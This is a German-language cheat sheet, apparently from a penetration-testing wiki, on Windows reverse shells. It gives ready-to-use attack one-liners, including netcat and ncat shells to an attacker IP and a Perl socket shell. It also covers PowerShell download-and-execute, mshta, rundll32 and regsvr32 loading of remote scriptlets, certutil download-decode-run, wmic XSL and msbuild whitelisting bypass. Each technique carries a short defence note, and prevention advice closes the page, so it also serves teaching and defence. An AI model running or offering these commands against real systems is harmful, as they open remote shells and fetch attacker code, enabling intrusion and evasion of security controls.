Reverse Shells - Windows

Wann welches Tool verwendet werden sollte

Tool
Szenario
Vor- und Nachteile

Netcat (NC, Ncat)

Einfacher Reverse Shell oder verschlüsselte Verbindung

+ Einfach zu verwenden - Wird oft erkannt

SBD

Sichere Alternative zu Netcat, wenn Verschlüsselung erforderlich ist

+ Starke Verschlüsselung - Weniger bekannt, aber effizient

Python

Systeme, auf denen Python installiert ist

+ Flexibel - Python muss installiert sein

Perl

Systeme, auf denen Perl installiert ist

+ Funktioniert gut in älteren Umgebungen - Perl muss installiert sein

Powershell

Moderne Windows-Systeme

+ Powershell ist immer installiert - Defender erkennt oft

Mshta / Rundll32

Wenn man HTA-Dateien ausnutzen oder DLLs laden will

+ Bypass von Whitelists - Defender erkennt oft

Regsvr32

Laden von remote Scriplets, ohne sie auf der Festplatte zu speichern

+ Keine Dateispuren - Eher komplex

Certutil

Payloads herunterladen und dekodieren

+ Flexibel - Wird oft erkannt

Wmic

Remote Code-Ausführung mittels XSL

+ Kein zusätzlicher Download erforderlich - Meistens nur in internen Netzen nützlich

Msbuild

Kompilieren und Ausführen von schädlichem Code zur Umgehung von Application Whitelisting

+ Kein Powershell benötigt - Nicht auf allen Systemen verfügbar


  • Netcat/Ncat: Verwende Netcat, wenn du schnell eine Shell ohne große Vorbereitung benötigst und keine Verschlüsselung erforderlich ist.

  • Powershell: Powershell sollte verwendet werden, wenn du Flexibilität brauchst und sicher bist, dass der Zielrechner nicht restriktiv konfiguriert ist.

  • Mshta/Rundll32: Besonders nützlich bei der Umgehung von Application Whitelisting-Mechanismen und bei älteren Windows-Systemen, auf denen ActiveX und HTA erlaubt sind.

  • Regsvr32: Ideal für Situationen, in denen du keine Datei auf der Festplatte ablegen möchtest (fileless).

  • SBD/Msbuild: SBD für verschlüsselte Verbindungen, Msbuild, wenn du Application Whitelisting umgehen willst.


1. Netcat (NC und Ncat)

Netcat ist ein klassisches Werkzeug für Netzwerkoperationen. Es kann sowohl zum Erstellen einer einfachen Shell als auch für verschlüsselte Verbindungen genutzt werden, um Firewalls und andere Sicherheitsmechanismen zu umgehen.

  • Einfacher Reverse Shell (nc.exe):

    nc.exe -e cmd.exe <Attacker_IP> <PORT>
    • Abwehrmaßnahmen: Monitoring von Netzwerkverbindungen auf ungewöhnliche Ports, Erkennung von nc.exe-Nutzung.

  • Verschlüsselte Shell (ncat.exe mit SSL):

    ncat.exe <Attacker_IP> <PORT> --ssl -e "cmd.exe /c (cmd.exe 2>&1)"
    • Abwehrmaßnahmen: SSL-Dekodierung mit Sicherheitslösungen, Protokoll-Inspektion, Anwendungskontrolle.

2. SBD (Secure Netcat Alternative)

sbd ist eine sichere Alternative zu Netcat, die starke Verschlüsselung bietet. Ideal für Szenarien, in denen Standard-Netcat nicht verfügbar oder unerwünscht ist.

  • Listener auf Opfer:

    sbd -l -p 4444 -e bash -v -n
    • Abwehrmaßnahmen: Überwachung des Netzwerkverkehrs auf Anomalien, Erkennung des sbd-Binaries.

3. Python Reverse Shell

Python kann genutzt werden, um eine Reverse Shell zu erstellen. Dabei wird das Socket-Modul verwendet.

  • Beispiel (Windows):

    C:\Python27\python.exe -c "<komplexer Python-Code>"
    • Abwehrmaßnahmen: Verbieten oder Einschränken von Python auf Endgeräten, Whitelisting von legitimen Anwendungen.

4. Perl Reverse Shell

Perl kann ähnlich wie Python für eine Shell genutzt werden, insbesondere auf Systemen, auf denen Perl bereits installiert ist.

  • Beispiel:

    perl -e 'use Socket;$i="ATTACKER-IP";$p=80;socket(S,...exec("/bin/sh -i");'
    • Abwehrmaßnahmen: Einschränkung der Nutzung von Perl auf dem System, Netzwerk-IDS zur Überwachung von Port 80 auf ungewöhnliche Daten.

5. Powershell

Powershell ist ein mächtiges Werkzeug für Administratoren, bietet aber auch Angreifern viele Möglichkeiten. Es erlaubt das Ausführen von Scripts, das Herunterladen von Payloads und das Erstellen von Reverse Shells.

  • Remote Script Download:

    powershell -exec bypass -c "(New-Object Net.WebClient).DownloadString('http://10.10.14.9:8000/ipw.ps1')|iex"
    • Abwehrmaßnahmen: Powershell Logging aktivieren (ScriptBlockLogging), Whitelisting und eingeschränkte Execution Policies nutzen.

  • One-Liner Reverse Shell:

    $client = New-Object System.Net.Sockets.TCPClient("10.10.10.10", 80);...
    • Abwehrmaßnahmen: Netzwerktraffic überwachen, besonders Powershell-basierten Datenverkehr.

6. Mshta und HTA-Dateien

Mshta kann HTML Application (HTA)-Dateien ausführen, was Angreifern die Möglichkeit bietet, komplexe Skripte von einem Remote-Server herunterzuladen und auszuführen.

  • VBScript Remote Execution:

    mshta vbscript:Close(Execute("GetObject(\"script:http://webserver/payload.sct\")"))
    • Abwehrmaßnahmen: Blockieren von mshta.exe über Application Control (z.B. Applocker), Netzwerk-Whitelist für URLs.

7. Rundll32

Rundll32 kann genutzt werden, um DLLs und Skripte auszuführen.

  • Script Execution:

    rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();
    • Abwehrmaßnahmen: Überwachung auf verdächtige rundll32-Nutzung, Blockieren nicht benötigter ActiveX-Controls.

8. Regsvr32

Mit Regsvr32 können Scriplets remote ausgeführt werden, ohne dass diese auf die Festplatte geschrieben werden.

  • Remote DLL Ausführung:

    regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
    • Abwehrmaßnahmen: Einsatz von Applocker zum Blockieren von regsvr32, Inspektion von DLL-Registrierungen.

9. Certutil

Certutil kann verwendet werden, um Dateien (Payloads) herunterzuladen und zu dekodieren, was es nützlich für die Umgehung von Restriktionen macht.

  • Download & Decode:

    certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe
    • Abwehrmaßnahmen: Netzwerkfilterung auf Basis von ungewöhnlichen certutil-Aktivitäten.

10. Wmic

Wmic erlaubt das Ausführen von Skripten und XSL-Stylesheets. Dies kann genutzt werden, um remote Code zu laden und auszuführen.

  • XSL Script Remote Execution:

    wmic os get /format:"https://webserver/payload.xsl"
    • Abwehrmaßnahmen: Einschränkung der Nutzung von wmic, Monitoring auf ungewöhnliche HTTP-Requests.

11. Msbuild

Msbuild kann missbraucht werden, um Anwendungen zu kompilieren und dabei schädlichen Code auszuführen, ohne Powershell zu verwenden.

  • Bypass Application Whitelisting:

    C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
    • Abwehrmaßnahmen: Anwendungskontrolle (z.B. Applocker) zur Beschränkung von msbuild.exe.

12. Empire und MSF-Unicorn

Diese Tools erzeugen Powershell- oder Metasploit-Payloads, die dann über verschiedene Techniken auf das Opfer gebracht und ausgeführt werden können.

  • Empire-Powershell:

    powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex"
    • Abwehrmaßnahmen: Strenge Netzwerkfilterung, Erkennung von bekannten Empire-Signaturen.

Empfehlungen zur Prävention

  1. Application Whitelisting: Verwendung von Applocker oder Device Guard, um den Zugriff auf verdächtige Binaries wie certutil, rundll32, mshta usw. einzuschränken.

  2. Endpoint Detection and Response (EDR): Überwachung und Erkennung von verdächtigem Verhalten, wie z.B. unerwartete Netzwerkverbindungen, Powershell-Ausführungen mit -exec bypass.

  3. Netzwerksegmentierung: Begrenzen der Kommunikation zwischen verschiedenen Netzwerken, insbesondere des Zugriffs von Clients auf Admin-Ressourcen.

  4. Powershell Logging und AMSI: Aktivieren von ScriptBlock- und Modul-Logging sowie Nutzung der Anti-Malware Scan Interface (AMSI), um Powershell-Kommandos zu inspizieren.

  5. Firewall- und IDS/IPS-Regeln: Blockieren und Erkennen von bekannten Reverse Shell-Verbindungen, besonders bei ungewöhnlichen Ports.

Diese erweiterten Informationen bieten eine detaillierte Übersicht über Techniken und Präventionsmethoden für Reverse Shells auf Windows-Systemen. Sie können helfen, sowohl die offensiven Techniken besser zu verstehen als auch effektive Abwehrmaßnahmen zu ergreifen.

Last updated